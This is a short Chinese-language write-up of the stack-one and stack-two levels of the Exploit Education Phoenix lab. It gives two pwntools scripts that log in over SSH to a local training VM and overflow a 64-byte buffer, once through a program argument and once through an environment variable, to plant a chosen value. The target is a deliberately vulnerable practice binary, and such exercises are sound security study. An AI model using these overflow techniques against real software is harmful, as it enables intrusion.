這兩道非常簡單,而且只有數據讀入方式的區別。跟 zero 一樣,只是對覆蓋的數據有要求。
stack-one#
將程序第一個參數strcpy到字符串。

在 gdb 中 run 後面直接接參數即可帶上參數。
pwntools 的 sh.run 可以接收字節數組作為參數,裡面可包含啟動參數。(看了下文檔,對於 run 方法:Backward compatibility. Use system()
)
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x496c5962)
sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))
stack-two#
這次是寫到環境變量裡。

做到這裡發現環境變量裡寫 "\0" 進去會出問題,我們要求寫入的是 32 位數據,不應該用 p64,用了就會自動補 0,然後報錯。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))